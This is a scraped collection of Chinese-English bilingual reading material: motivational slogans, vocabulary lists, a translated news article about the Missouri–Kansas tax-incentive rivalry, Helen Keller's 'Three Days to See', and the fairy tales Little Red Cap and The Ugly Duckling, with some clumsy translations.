6、突破心理障碍,才能超越自己。
Can break through psychological barriers, beyond ourselves.
7、最伟大的力量,就是同心合力。
The greatest power is the collaboration.
8、冲刺拼搏,在前进中寻找乐趣。
The sprint, have fun in advance.
9、快乐要懂得分享,才能加倍快乐。
Will know how to share happiness, to double happiness.
10、做事不能知难而退,要积极向前。
Do not retreat, to a positive forward.
11、只要朝着阳光,便不会看见阴影。
As long as the sun, will not see the shadow.
12、用激情点燃高考,用拼搏换取成功。
With passion to ignite the university entrance exam to strive for success.
13、人不能样样顺利,但可以事事努力。
People can't everything smooth, but can try to everything.
14、大胆勇敢是取得提高所付出的代价。
To improve the price is bold and brave.
15、莫为失败找借口,多为成功找理由。
Mo excuses for failure, how to find reason for success.
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闪电是天空中云层放电时所产生的闪光,还被用以比喻快速。那么你知道闪电用英语怎么说吗?接下来跟着读文网小编来学习一下有关于闪电的英文相关知识吧。
sheet lightning;
片状闪电
chain(ed) lightning;
链状闪电
make a lightning attack;
闪电进攻
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口渴就是口干想喝水,这是人的一个正常的生理反应,那么你知道口渴用英语怎么说吗?下面欢迎大家跟着读文网小编一起来学习口渴的英文相关知识吧。
总是口渴 Always Thirsty
我口渴 I am getting thirsty
感觉口渴 Feeling thirsty
不口渴 not thirsty
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经济永远是不退潮流的一个热门话题,有关经济学的英文语录你看过哪些呢。下面读文网小编为大家带来精选的经济学双语版阅读,欢迎大家阅读学习。
Missouri calls for an economic truce with Kansas
密苏苏里提出与肯萨斯达成经济休战协定
I hear the tax breaks are good in Kansas
听说肯萨斯州有好的税收减免政策
MISSOURI and Kansas are old rivals. In the 1850s thousands of Missourians rode into Kansas,seized polling stations at gunpoint and fraudulently elected pro-slavery candidates. The effortsof these “border ruffians” were a prelude to the civil war.
密苏苏里和肯萨斯是一对老冤家。在1850年代,千万密苏苏里人涌入肯萨斯州,抢占他们枪口下的投票站,公然欺骗地投选支持奴隶制的候选人。这些边境恶棍的努力同样阻止了内战的爆发。
Today the rivalry is less bloody. Both states offer tax incentives to lure in companies fromelsewhere. Because they share a large metropolitan region, Kansas City, many firms qualifyfor such breaks simply by shifting a mile or two over the border.
如今的对抗少了点血腥。双方都拿出税费刺激计划,吸引四面八方的公司。由于大都市肯萨斯城横跨两州,许多公司为了有资格拿到这样的税收减免,会通常把公司移一两英里跨过边界。
Looking at the biggest type of sweetener, the Hall Family Foundation, a charity, estimates thatover the past five years the two state governments have forgone $217m in taxes. Some 3,289jobs have been tempted across the metropolitan border to Kansas; Missouri has won 2,824jobs back. Kansas can therefore claim to be “winning”. But local reports suggest that CBIZ, aKansan consulting firm, is considering moving to Missouri; that would erase this lead.
霍尔家族基金会慈善组织推测,在过去的五年间,两州政府分别放弃了2亿1700万的税收。肯萨斯州吸引了大约3289个职位,密苏苏里州则抢到了2824个,因此肯萨斯可以说是胜利的一方。但当地媒体表示,肯萨咨询公司CBIZ有意移到密苏苏里州,如果一旦成功,领先将会不复存在。
None of this border-ruffianry creates new jobs. Locals gripe that when, for example, AMCTheatre recently moved its headquarters out of downtown Kansas City, Missouri, its staff simplyhad a longer commute to work. Sly James, the mayor of Kansas City, Missouri, describes thenew border war as “short-sighted”. Kevin Collison, a reporter for the Kansas City Star, calls it“cannibalistic”.
边境恶棍们并没有创造新的就业机会。当地人抱怨称,最近AMC电影院从密苏苏里肯萨斯城市中心迁走时,只不过它的员工们花费在上下班的时间更长了些。该市市长斯莱·詹姆斯认为这是一场没有远见的边境之战。肯萨斯城星光的一名记者Kevin Collision称之为自相残杀。
A few years ago local business leaders from 17 companies, including Sprint and Hallmark Cards,wrote to Jay Nixon, the governor of Missouri, and Sam Brownback, his counterpart in Kansas,to warn them that the rift was harming the area. In the past month, a truce has started tolook likelier. Majorities in the Missouri House and Senate have approved versions of a bill thatwould bar incentives for businesses near the border to hop over it. The catch, though, is thatthis law will go into effect only if Kansas reciprocates. There is a two-year window for a deal tobe done.
几年前,包括来自Sprint和Hallmark Cards在内的当地17家公司的总裁们向密苏苏里州长杰·尼克森联同肯萨斯州州长萨姆·布朗巴克写信警告这种裂痕正危害着这个地方。过去数月里,双方好像可以签署一份休战协定。多数密苏苏里议员同意签署一项法案旨在禁止边界贸易刺激方案。然而该方案有一缺陷,要想该法案有效,必须得到肯萨斯州同样的做法。在达成协议之前有两年的窗口期。
Missouri Senator Ryan Silvey, a Republican who is sponsoring the Senate version of the bill,says he is confident the House will soon pick up and pass his version. Over in Kansas, MrBrownback is guardedly optimistic. He says he has thought for some time that “ceasefirenegotiations” were needed, and that this bill is a “necessary condition for us to negotiate”. MrBrownback says that ceasefire discussions ought to consider all the tools used to encourageeconomic development on both sides of the border. These would include income and propertytaxes.
密苏苏里州民主党议员莱恩·希尔威尔支持这项法案,他表示对国会审议通过这样法案有信心。而肯萨斯州方面,布朗巴克对此保持着谨慎的乐观,他说停火谈判的必要性已经在他脑子里有一段时间了,这部法案为我们谈判提供了必要的条件。停火谈判应该考虑边界双方共同的经济发展刺激方式。这其中就包括财产和所得税。
It is difficult to understand why either state would want to continue throwing money at ascheme that benefits only the companies that move. Mr Silvey explains: “When people feel likethey are locked in competition they just want to win, even when the competition is stupid.”Since Missouri's annual budget is $26 billion to Kansas's $14 billion, some Missourians ask whytheir state does not simply outspend its neighbour to win the war. Mr Silvey says that if anagreement is not reached in the next few years, his colleagues will want to “go with bothbarrels” and steal more business from Kansas. Move quickly Kansas, or the border ruffians mayyet ride again.
我们仍然弄不清楚,为什么苏肯两州会继续撒钱来支持只有迁移的企业才会受益的方案。希尔威尔解释道,当人们感觉到自己受困于竞争,他们总是很想赢,尽管这是一场傻傻的斗。相比140亿美元的年度预算,密苏苏里州每年有达260亿美元预算。一些密苏苏里人问,为什么就不能仅仅靠相对高的预算来赢得胜利。他指出,如果未来几年内仍达成协议,他的同僚们会带着枪,从肯萨斯州抢些生意。肯萨斯快快行动!边境恶棍又要来了!#p#副标题#e#
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《假如给我三天光明》是作者海伦·凯勒的自传,被誉为“世界文学史上无与伦比的杰作”。她以自己的经历告诫人们应珍惜生命,珍惜造物主赐予的一切。如果你想欣赏一下这篇经典名作的话,那么就不要错过下面读文网小编为大家带来假如给我三天光明完整英文版及中文翻译,希望大家喜欢!
All of us have read thrilling stories in which the hero had only a limited and specified time to live. Sometimes it was as long as a year; sometimes as short as twenty-four hours.
But always we were interested in discovering just how the doomed man chose to spend his last days or his last hours. I speak, of course, of free men who have a choice, not condemned criminals whose sphere of activities is strictly delimited.
Such stories set us thinking, wondering what we should do under similar circumstances. What events, what experiences, what associations should we crowd into those last hours as mortal beings? What happiness should we find in reviewing the past, what regrets?
Sometimes I have thought it would be an excellent rule to live each day as if we should die tomorrow. Such an attitude would emphasize sharply the values of life. We should live each day with a gentleness, a vigor, and a keenness of appreciation which are often lost when time stretches before us in the constant panorama of more days and months and years to come. There are those, of course, who would adopt the Epicurean motto of "Eat, drink, and be merry," but most people would be chastened by the certainty of impending death.
In stories the doomed hero is usually saved at the last minute by some stroke of fortune, but almost always his sense of values is changed. he becomes more appreciative of the meaning of life and its permanent spiritual values. It ahs often been noted that those who live, or have lived, in the shadow of death bring a mellow sweetness to everything they do.
Most of us, however, take life for granted. We know that one day we must die, but usually we picture that day as far in the future. When we are in buoyant health, death is all but unimaginable. We seldom think of it. The days stretch out in an endless vista. So we go about our petty tasks, hardly aware of our listless attitude toward life.
The same lethargy, I am afraid, characterizes the use of all our faculties and senses. Only the deaf appreciate hearing, only the blind realize the manifold blessings that lie in sight. Particularly does this observation apply to those who have lost sight and hearing in adult life. But those who have never suffered impairment of sight or hearing seldom make the fullest use of these blessed faculties. Their eyes and ears take in all sights and sounds hazily, without concentration and with little appreciation. It is the same old story of not being grateful for what we have until we lose it, of not being conscious of health until we are ill.
I have often thought it would be a blessing if each human being were stricken blind and deaf for a few days at some time during his early adult life. Darkness would make him more appreciative of sight; silence would tech him the joys of sound.
Now and them I have tested my seeing friends to discover what they see. Recently I was visited by a very good friends who hadjust returned from a long walk in the woods, and I asked her what she had observed.. "Nothing in particular, " she replied. I might have been incredulous had I not been accustomed to such reposes, for long ago I became convinced that the seeing see little.
How was it possible, I asked myself, to walk for an hour through the woods and see nothing worthy of note? I who cannot see find hundreds of things to interest me through mere touch. I feel the delicate symmetry of a leaf. I pass my hands lovingly about the smooth skin of a silver birch, or the rough, shaggy bark of a pine. In the spring I touch the branches of trees hopefully in search of a bud the first sign of awakening Nature after her winter's sleep. I feel the delightful, velvety texture of a flower, and discover its remarkable convolutions; and something of the miracle of Nature is revealed to me. Occasionally, if I am very fortunate, I place my hand gently on a small tree and feel the happy quiver of a bird in full song. I am delighted to have the cool waters of a brook rush thought my open finger. To me a lush carpet of pine needles or spongy grass is more welcome than the most luxurious Persian rug. To me the page ant of seasons is a thrilling and unending drama, the action of which streams through my finger tips.
At times my heart cries out with longing to see all these things. If I can get so much pleasure from mere touch, how much more beauty must be revealed by sight. Yet, those who have eyes apparently see little. the panorama of color and action which fills the world is taken for granted. It is human, perhaps, to appreciate little that which we have and to long for that which we have not, but it is a great pity that in the world of light the gift of sight is used only as a mere conveniences rather than as a means of adding fullness to life.
If I were the president of a university I should establish a compulsory course in "How to Use Your Eyes". The professor would try to show his pupils how they could add joy to their lives by really seeing what passes unnoticed before them. He would try to awake their dormant and sluggish faculties.
Perhaps I can best illustrate by imagining what I should most like to see if I were given the use of my eyes, say, for just three days. And while I am imagining, suppose you, too, set your mind to work on the problem of how you would use your own eyes if you had only three more days to see. If with the on-coming darkness of the third night you knew that the sun would never rise for you again, how would you spend those three precious intervening days? What would you most want to let your gaze rest upon?
I, naturally, should want most to see the things which have become dear to me through my years of darkness. You, too, would want to let your eyes rest on the things that have become dear to you so that you could take the memory of them with you into the night that loomed before you.
If, by some miracle, I were granted three seeing days, to be followed by a relapse into darkness, I should divide the period into three parts.
The First Day
On the first day, I should want to see the people whose kindness and gentleness and companionship have made my life worth living. First I should like to gaze long upon the face of my dear teacher, Mrs. Anne Sullivan Macy, who came to me when I was a child and opened the outer world to me. I should want not merely to see the outline of her face, so that I could cherish it in my memory, but to study that face and find in it the living evidence of the sympathetic tenderness and patience with which she accomplished the difficult task of my education. I should like to see in her eyes that strength of character which has enabled her to stand firm in the face of difficulties, and that compassion for all humanity which she has revealed to me so often.
I do not know what it is to see into the heart of a friend through that "Window of the soul", the eye. I can only "see" through my finger tips the outline of a face. I can detect laughter, sorrow, and many other obvious emotions. I know my friends from the feel of their faces. But I cannot really picture their personalities by touch. I know their personalities, of course, through other means, through the thoughts they express to me, through whatever of their actions are revealed to me. But I am denied that deeper understanding of them which I am sure would come through sight of them, through watching their reactions to various expressed thoughts and circumstances, through noting the immediate and fleeting reactions of their eyes and countenance.
Friends who are near to me I know well, because through the months and years they reveal themselves to me in all their phases; but of casual friends I have only an incomplete impression, an impression gained from a handclasp, from spoken words which I take from their lips with my finger tips, or which they tap into the palm of my hand.
How much easier, how much more satisfying it is for you who can see to grasp quickly the essential qualities of another person by watching the subtleties of expression, the quiver of a muscle, the flutter of a hand. But does it ever occur to you to use your sight to see into the inner nature of a friends or acquaintance/ Do not most of you seeing people grasp casually the outward features of a face and let it go at that?
For instance can you describe accurately the faces of five good friends? some of you can, but many cannot. As an experiment, I have questioned husbands of long standing about the color of their wives' eyes, and often they express embarrassed confusion and admit that they do not know. And, incidentally, it is a chronic complaint of wives that their husbandsdo not notice new dresses, new hats, and changes in household arrangements.
The eyes of seeing persons soon become accustomed to the routine of their surroundings, and they actually see only the startling and spectacular. But even in viewing the most spectacular sights the eyes are lazy. Court records reveal every day how inaccurately "eyewitnesses" see. A given event will be "seen" in several different ways by as many witnesses. Some see more than others, but few see everything that is within the range of their vision.
Oh, the things that I should see if I had the power of sight for just three days!
The first day would be a busy one.
I should call to me all my dear friends and look long into their faces, imprinting upon my mind the outward evidences of the beauty that is within them. I should let my eyes rest, too, on the face of a baby, so that I could catch a vision of the eager, innocent beauty which precedes the individual's consciousness of the conflicts which life develops.
And I should like to look into the loyal, trusting eyes of my dogs - the grave, canny little Scottie, Darkie, and the stalwart, understanding Great Dane, Helga, whose warm, tender , and playful friendships are so comforting to me.
On that busy first day I should also view the small simple things of my home. I want to see the warm colors in the rugs under my feet, the pictures on the walls, the intimate trifles that transform a house into home. My eyes would rest respectfully on the books in raised type which I have read, but they would be more eagerly interested in the printed books which seeing people can read, for during the long night of my life the books I have read and those which have been read to me have built themselves into a great shining lighthouse, revealing to me the deepest channels of human life and the human spirit.
In the afternoon of that first seeing day. I should take a long walk in the woods and intoxicate my eyes on the beauties of the world of Nature trying desperately to absorb in a few hours the vast splendor which is constantly unfolding itself to those who can see. On the way home from my woodland jaunt my path would lie near a farm so that I might see the patient horses ploughing in the field 9perhaps I should see only a tractor!) and the serene content of men living close to the soil. And I should pray for the glory of a colorful sunset.
When dusk had fallen, I should experience the double delight of being able to see by artificial light which the genius of man has created to extend the power of his sight when Nature decrees darkness.
In the night of that first day of sight, I should not be able to sleep, so full would be my mind of the memories of the day.
The Second Day
The next day - the second day of sight - I should arisewith the dawn and see the thrilling miracle by which night is transformed into day. I should behold with awe the magnificent panorama of light with which the sun awakens the sleeping earth.
This day I should devote to a hasty glimpse of the world, past and present. I should want to see the pageant of man's progress, the kaleidoscope of the ages. How can so much be compressed into one day? Through the museums, of course. Often I have visited the New York Museum of Natural History to touch with my hands many of the objects there exhibited, butI have longed to see with my eyes the condensed history of the earth and its inhabitants displayed there - animals and the races of men pictured in their native environment; gigantic carcasses of dinosaurs and mastodons which roamed the earth long before man appeared, with his tiny stature and powerful brain, to conquer the animal kingdom; realistic presentations of the processes of development in animals, in man, and in the implements which man has used to fashion for himself a secure home on this planet; and a thousand and one other aspects of natural history.
I wonder how many readers of this article have viewed this panorama of the face of living things as pictured in that inspiring museum. Many, of course, have not had the opportunity, but I am sure that many who have had the opportunity have not made use of it. there, indeed, is a place to use your eyes. You who see can spend many fruitful days there, but I with my imaginary three days of sight, could only take a hasty glimpse, and pass on.
My next stop would be the Metropolitan Museum of Art, for just as the Museum of Natural History reveals the material aspects of the world, so does the Metropolitan show the myriad facets of the human spirit. Throughout the history of humanity the urge to artistic expression has been almost as powerful as the urge for food, shelter, and procreation. And here , in the vast chambers of the Metropolitan Museum, is unfolded before me the spirit of Egypt, Greece, and Rome, as expressed in their art. I know well through my hands the sculptured gods and goddesses of the ancient Nile-land. I have felt copies of Parthenon friezes, and I have sensed the rhythmic beauty of charging Athenian warriors. Apollos and Venuses and the Winged Victory of Samothrace are friends of my finger tips. The gnarled, bearded features of Homer are dear to me, for he, too, knew blindness.
My hands have lingered upon the living marble of roman sculpture as well as that of later generations. I have passed my hands over a plaster cast of Michelangelo's inspiring and heroic Moses; I have sensed the power of Rodin; I have been awed by the devoted spirit of Gothic wood carving. These arts which can be touched have meaning for me, but even they were meant to be
seen rather than felt, and I can only guess at the beauty which remains hidden from me. I can admire the simple lines of a Greek vase, but its figured decorations are lost to me.
So on this, my second day of sight, I should try to probe into the soul of man through this art. The things I knew through touch I should now see. More splendid still, the whole magnificent world of painting would be opened to me, from the Italian Primitives, with their serene religious devotion, to the Moderns, with their feverish visions. I should look deep into the canvases of Raphael, Leonardo da Vinci, Titian, Rembrandt. I should want to feast my eyes upon the warm colors of Veronese, study the mysteries of E1 Greco, catch a new vision of Nature from Corot. Oh, there is so much rich meaning and beauty in the art of the ages for you who have eyes to see!
Upon my short visit to this temple of art I should not be able to review a fraction of that great world of art which is open to you. I should be able to get only a superficial impression. Artists tell me that fordeep and true appreciation of art one must educated the eye. One must learn through experience to weigh the merits of line, of composition, of form and color. If I had eyes, how happily would I embark upon so fascinating a study! Yet I am told that, to many of you who have eyes to see, the world of art is a dark night,unexplored and unilluminated.
It would be with extreme reluctance that I should leave the Metropolitan Museum, which contains the key to beauty -- a beauty so neglected. Seeing persons, however, do not need a metropolitan to find this key to beauty. The same key lies waiting in smaller museums, and in books on the shelves of even small libraries. But naturally, in my limited time of imaginary sight, I should choose the place where the key unlocks the greatest treasures in the shortest time.
The evening of my second day of sight I should spend at a theatre or at the movies. Even now I often attend theatrical performances of all sorts, but the action of the play must be spelled into my hand by a companion. But how I should like to see with my own eyes the fascinating figure of Hamlet, or the gusty Falstaff amid colorful Elizabethan trappings! How I should like to follow each movement of the graceful Hamlet, each strut of the hearty Falstaff! And since I could see only one play, I should be confronted by a many-horned dilemma, for there are scores of plays I should want to see. You who have eyes can see any you like. How many of you, I wonder, when you gaze at a play, a movie, or any spectacle, realize and give thanks for the miracle of sight which enables you to enjoy its color , grace, and movement?
I cannot enjoy the beauty of rhythmic movement except in a sphere restricted to the touch of my hands. I can vision only dimly the grace of a Pavlowa, although I know something of the delight of rhythm, for often I can sense the beat of music as it vibrates through the floor. I can well imagine that cadenced motion must be one of the most pleasing sights in the world. I have been able to gather something of this by tracing with my fingers the lines in sculptured marble; if this static grace can be so lovely, how much more acute must be the thrill of seeing grace in motion.
One of my dearest memories is of the time when Joseph Jefferson allowed me to touch his face and hands as he went through some of the gestures and speeches of his beloved Rip Van Winkle. I was able to catch thus a meager glimpse of the world of drama, and I shall never forget the delight of that moment. But, oh, how much I must miss, and how much pleasure you seeing ones can derive from watching and hearing the interplay of speech and movement in the unfolding of a dramatic performance! If I could see only one play, I should know how to picture in mymind the action of a hundred plays which I have read or had transferred to me through the medium of the manual alphabet.
So, through the evening of my second imaginary day of sight, the great fingers of dramatic literature would crowd sleep from my eyes.
The Third Day
The following morning, I should again greet the dawn, anxious to discover new delights, for I am sure that, for those who have eyes which really see, the dawn of each day must be a perpetually new revelation of beauty.
This, according to the terms of my imagined miracle, is to be my third and last day of sight. I shall have no time to waste in regrets or longings; there is too much to see. The first day I devoted to my friends, animate and inanimate. The second revealed to me the history of man and Nature. Today I shall spend in the workaday world of the present, amid the haunts of men going about the business of life. And where can one find so many activities and conditions of men as in New York? So the city becomes my destination.
I start from my home in the quiet little suburb of Forest Hills, Long Island. Here , surrounded by green lawns, trees, and flowers, are neat little houses, happy with the voices and movements of wives and children, havens of peaceful rest for men who toil in the city. I drive across the lacy structure of steel which spans the East River, and I get a new and startling vision of the power and ingenuity of the mind of man. Busy boasts chug and scurry about the river - racy speed boat, stolid, snorting tugs. If I had long days of sight ahead, I should spend many of them watching the delightful activity upon the river.
I look ahead, and before me rise the fantastic towers of New York, a city that seems to have stepped from the pages of a fairy story. What an awe-inspiring sight, these glittering spires. these vast banks of stone and steel-structures such as the gods might build for themselves! This animated picture is a part of the lives of millions of people every day.
How many, I wonder, give it so much as a seconds glance? Very few, I fear, Their eyes are blind to this magnificent sight because it is so familiar to them.
I hurry to the top of one of those gigantic structures, the Empire State Building, for there , a short time ago, I "saw" the city below through the eyes of my secretary. I am anxious to compare my fancy with reality. I am sure I should not be disappointed in the panorama spread out before me, for to me it would be a vision of another world.
Now I begin my rounds of the city. First, I stand at a busy corner, merely looking at people, trying by sight of them to understand something of their live. I see smiles, and I am happy. I see serious determination, and I am proud, I see suffering, and I am compassionate.
I stroll down Fifth Avenue. I throw my eyes out of focus, so that I see no particular object but only a seething kaleidoscope of colors. I am certain that the colors of women's dresses moving in a throng must be a gorgeous spectacle of which I should never tire. But perhaps if I had sight I should be like most other women -- too interested in styles and the cut of individual dresses to give much attention to the splendor of color in the mass. And I am convinced, too, that I should become an inveterate window shopper, for it must be a delight to the eye to view the myriad articles of beauty on display.
From Fifth Avenue I make a tour of the city-to Park Avenue, to the slums, to factories, to parks where children play. I take a stay-at-home trip abroad by visiting the foreign quarters. Always my eyes are open wide to all the sights of both happiness and misery so that I may probe deep and add to my understanding of how people work and live. my heart is full of the images of people and things. My eye passes lightly over no single trifle; it strives to touch and hold closely each thing its gaze rests upon. Some sights are pleasant, filling the heart with happiness; but some are miserably pathetic. To these latter I do not shut my eyes, for they, too, are part of life. To close the eye on them is to close the heart and mind.
My third day of sight is drawing to an end. Perhaps there are many serious pursuits to which I should devote the few remaining hours, but I am afraid that on the evening of that last day I should again run away to the theater, to a hilariously funny play, so that I might appreciate the overtones of comedy in the human spirit.
At midnight my temporary respite from blindness would cease, and permanent night would close in on me again. Naturally in those three short days I should not have seen all I wanted to see. Only when darkness had again descended upon me should I realize how much I had left unseen. But my mind would be so crowded with glorious memories that I should have little time for regrets. Thereafter the touch of every object would bring a glowing memory of how that object looked.
Perhaps this short outline of how I should spend three days of sight does not agree with the program you would set for yourself if you knew that you were about to be stricken blind. I am, however, sure that if you actually faced that fate your eyes would open to things you had never seen before, storing up memories for the long night ahead. You would use your eyes as never before. Everything you saw would become dear to you. Your eyes would touch and embrace every object that came within your range of vision. Then, at last, you would really see, and a new world of beauty would open itself before you.
I who am blind can give one hint to those who see -- one admonition to those who would make full use of the gift of sight: Use your eyes as if tomorrow you would be stricken blind.
And the same method can be applied to the other senses. Hear the music of voices, the song of a bird, the mighty strains of an orchestra, as if you would be stricken deaf tomorrow.
Touch each object you want to touch as if tomorrow your tactile sense would fail. Smell the perfume of flowers, taste with relish each morsel, as if tomorrow you could never s
mell and taste again. Make the most of every sense: glory in all the facets of pleasure and beauty which the world reveals to you through the several means of contact which Nature provides. But of all the senses, I am sure that sight must be the most delightful.#p#副标题#e#
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小红帽是德国童话作家格林的童话《小红帽》中的人物,故事版本多达一百多个,是如今家户喻晓的经典童话故事,成了不少小朋友最喜欢的睡前故事之一。下面读文网小编为大家带来小红帽童话故事双语版,欢迎大家阅读。
Once upon a time there was a sweet little girl. Everyone who saw her liked her, but most of all her grandmother, who did not know what to give the child next. Once she gave her a little cap made of red velvet. Because it suited her so well, and she wanted to wear it all the time, she came to be known as Little Red Cap.
One day her mother said to her, "Come Little Red Cap. Here is a piece of cake and a bottle of wine. Take them to your grandmother. She is sick and weak, and they will do her well. Mind your manners and give her my greetings. Behave yourself on the way, and do not leave the path, or you might fall down and break the glass, and then there will be nothing for your grandmother. And when you enter her parlor, don't forget to say 'Good morning,' and don't peer into all the corners first."
"I'll do everything just right," said Little Red Cap, shaking her mother's hand.
The grandmother lived out in the woods, a half hour from the village. When Little Red Cap entered the woods a wolf came up to her. She did not know what a wicked animal he was, and was not afraid of him.
"Good day to you, Little Red Cap."
"Thank you, wolf."
"Where are you going so early, Little Red Cap?"
"To grandmother's."
"And what are you carrying under your apron?"
"Grandmother is sick and weak, and I am taking her some cake and wine. We baked yesterday, and they should be good for her and give her strength."
"Little Red Cap, just where does your grandmother live?"
"Her house is good quarter hour from here in the woods, under the three large oak trees. There's a hedge of hazel bushes there. You must know the place," said Little Red Cap.
The wolf thought to himself, "Now that sweet young thing is a tasty bite for me. She will taste even better than the old woman. You must be sly, and you can catch them both."
He walked along a little while with Little Red Cap, then he said, "Little Red Cap, just look at the beautiful flowers that are all around us. Why don't you go and take a look? And I don't believe you can hear how beautifully the birds are singing. You are walking along as though you were on your way to school. It is very beautiful in the woods."
Little Red Cap opened her eyes and when she saw the sunbeams dancing to and fro through the trees and how the ground was covered with beautiful flowers, she thought, "If a take a fresh bouquet to grandmother, she will be very pleased. Anyway, it is still early, and I'll be home on time." And she ran off the path into the woods looking for flowers. Each time she picked one she thought that she could see an even more beautiful one a little way off, and she ran after it, going further and further into the woods. But the wolf ran straight to the grandmother's house and knocked on the door.
"Who's there?"
"Little Red Cap. I'm bringing you some cake and wine. Open the door."
"Just press the latch," called out the grandmother. "I'm too weak to get up."
The wolf pressed the latch, and the door opened. He stepped inside, went straight to the grandmother's bed, and ate her up. Then he put on her clothes, put her cap on his head, got into her bed, and pulled the curtains shut.
Little Red Cap had run after the flowers. After she had gathered so many that she could not carry any more, she remembered her grandmother, and then continued on her way to her house. She found, to her surprise, that the door was open. She walked into the parlor, and everything looked so strange that she thought, "Oh, my God, why am I so afraid? I usually like it at grandmother's."
She called out, "Good morning!" but received no answer.
Then she went to the bed and pulled back the curtains. Grandmother was lying there with her cap pulled down over her face and looking very strange.
"Oh, grandmother, what big ears you have!"
"All the better to hear you with."
"Oh, grandmother, what big eyes you have!"
"All the better to see you with."
"Oh, grandmother, what big hands you have!"
"All the better to grab you with!"
"Oh, grandmother, what a horribly big mouth you have!"
"All the better to eat you with!"
The wolf had scarcely finished speaking when he jumped from the bed with a single leap and ate up poor Little Red Cap. As soon as the wolf had satisfied his desires, he climbed back into bed, fell asleep, and began to snore very loudly.
A huntsman was just passing by. He thought, "The old woman is snoring so loudly. You had better see if something is wrong with her."
He stepped into the parlor, and when he approached the bed, he saw the wolf lying there. "So here I find you, you old sinner," he said. "I have been hunting for you a long time."
He was about to aim his rifle when it occurred to him that the wolf might have eaten the grandmother, and that she still might be rescued. So instead of shooting, he took a pair of scissors and began to cut open the wolf's belly. After a few cuts he saw the red cap shining through., and after a few more cuts the girl jumped out, crying, "Oh, I was so frightened! It was so dark inside the wolf's body!"
And then the grandmother came out as well, alive but hardly able to breathe. Then Little Red Cap fetched some large stones. She filled the wolf's body with them, and when he woke up and tried to run away, the stones were so heavy that he immediately fell down dead.
The three of them were happy. The huntsman skinned the wolf and went home with the pelt. The grandmother ate the cake and drank the wine that Little Red Cap had brought. And Little Red Cap thought, "As long as I live, I will never leave the path and run off into the woods by myself if mother tells me not to."
They also tell how Little Red Cap was taking some baked things to her grandmother another time, when another wolf spoke to her and wanted her to leave the path. But Little Red Cap took care and went straight to grandmother's. She told her that she had seen the wolf, and that he had wished her a good day, but had stared at her in a wicked manner. "If we hadn't been on a public road, he would have eaten me up," she said.
"Come," said the grandmother. "Let's lock the door, so he can't get in."
Soon afterward the wolf knocked on the door and called out, "Open up, grandmother. It's Little Red Cap, and I'm bringing you some baked things."
They remained silent, and did not open the door. Gray-Head crept around the house several times, and finally jumped onto the roof. He wanted to wait until Little Red Cap went home that evening, then follow her and eat her up in the darkness. But the grandmother saw what he was up to. There was a large stone trough in front of the house.
"Fetch a bucket, Little Red Cap," she said to the child. "Yesterday I cooked some sausage. Carry the water that I boiled them with to the trough." Little Red Cap carried water until the large, large trough was clear full. The smell of sausage arose into the wolf's nose. He sniffed and looked down, stretching his neck so long that he could no longer hold himself, and he began to slide. He slid off the roof, fell into the trough, and drowned. And Little Red Cap returned home happily, and no one harmed her.
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《丑小鸭》是安徒生的经典童话故事之一,写了一只天鹅蛋在鸭群中破壳后,因相貌怪异,让同类鄙弃,历经千辛万苦、重重磨难之后长成了白天鹅。下面读文网小编为大家带来丑小鸭童话故事英文版及翻译,欢迎大家阅读欣赏!
It was so beautiful out on the country, it was summer- the wheat fields were golden, the oats were green, and down among the green meadows the hay was stacked. There the stork minced about on his red legs, clacking away in Egyptian, which was the language his mother had taught him. Round about the field and meadow lands rose vast forests, in which deep lakes lay hidden. Yes, it was indeed lovely out there in the country.
In the midst of the sunshine there stood an old manor house that had a deep moat around it. From the walls of the manor right down to the water's edge great burdock leaves grew, and there were some so tall that little children could stand upright beneath the biggest of them. In this wilderness of leaves, which was as dense as the forests itself, a duck sat on her nest, hatching her ducklings. She was becoming somewhat weary, because sitting is such a dull business and scarcely anyone came to see her. The other ducks would much rather swim in the moat than waddle out and squat under the burdock leaf to gossip with her.
But at last the eggshells began to crack, one after another. "Peep, peep!" said the little things, as they came to life and poked out their heads.
"Quack, quack!" said the duck, and quick as quick can be they all waddled out to have a look at the green world under the leaves. Their mother let them look as much as they pleased, because green is good for the eyes.
"How wide the world is," said all the young ducks, for they certainly had much more room now than they had when they were in their eggshells.
"Do you think this is the whole world?" their mother asked. "Why it extends on and on, clear across to the other side of the garden and right on into the parson's field, though that is further than I have ever been. I do hope you are all hatched," she said as she got up. "No, not quite all. The biggest egg still lies here. How much longer is this going to take? I am really rather tired of it all," she said, but she settled back on her nest.
"Well, how goes it?" asked an old duck who came to pay her a call.
"It takes a long time with that one egg," said the duck on the nest. "It won't crack, but look at the others. They are the cutest little ducklings I've ever seen. They look exactly like their father, the wretch! He hasn't come to see me at all."
"Let's have a look at the egg that won't crack," the old duck said. "It's a turkey egg, and you can take my word for it. I was fooled like that once myself. What trouble and care I had with those turkey children, for I may as well tell you, they are afraid of the water. I simply could not get them into it. I quacked and snapped at them, but it wasn't a bit of use. Let me see the egg. Certainly, it's a turkey egg. Let it lie, and go teach your other children to swim."
"Oh, I'll sit a little longer. I've been at it so long already that I may as well sit here half the summer."
"Suit yourself," said the old duck, and away she waddled.
At last the big egg did crack. "Peep," said the young one, and out he tumbled, but he was so big and ugly.
The duck took a look at him. "That's a frightfully big duckling," she said. "He doesn't look the least like the others. Can he really be a turkey baby? Well, well! I'll soon find out. Into the water he shall go, even if I have to shove him in myself."
Next day the weather was perfectly splendid, and the sun shone down on all the green burdock leaves. The mother duck led her whole family down to the moat. Splash! she took to the water. "Quack, quack," said she, and one duckling after another plunged in. The water went over their heads, but they came up in a flash, and floated to perfection. Their legs worked automatically, and they were all there in the water. Even the big, ugly gray one was swimming along.
"Why, that's no turkey," she said. "See how nicely he uses his legs, and how straight he holds himself. He's my very own son after all, and quite good-looking if you look at him properly. Quack, quack come with me. I'll lead you out into the world and introduce you to the duck yard. But keep close to me so that you won't get stepped on, and watch out for the cat!"
Thus they sallied into the duck yard, where all was in an uproar because two families were fighting over the head of an eel. But the cat got it, after all.
"You see, that's the way of the world." The mother duck licked her bill because she wanted the eel's head for herself. "Stir your legs. Bustle about, and mind that you bend your necks to that old duck over there. She's the noblest of us all, and has Spanish blood in her. That's why she's so fat. See that red rag around her leg? That's a wonderful thing, and the highest distinction a duck can get. It shows that they don't want to lose her, and that she's to have special attention from man and beast. Shake yourselves! Don't turn your toes in. A well-bred duckling turns his toes way out, just as his father and mother do-this way. So then! Now duck your necks and say quack!"
They did as she told them, but the other ducks around them looked on and said right out loud, "See here! Must we have this brood too, just as if there weren't enough of us already? And-fie! what an ugly-looking fellow that duckling is! We won't stand for him." One duck charged up and bit his neck.
"Let him alone," his mother said. "He isn't doing any harm."
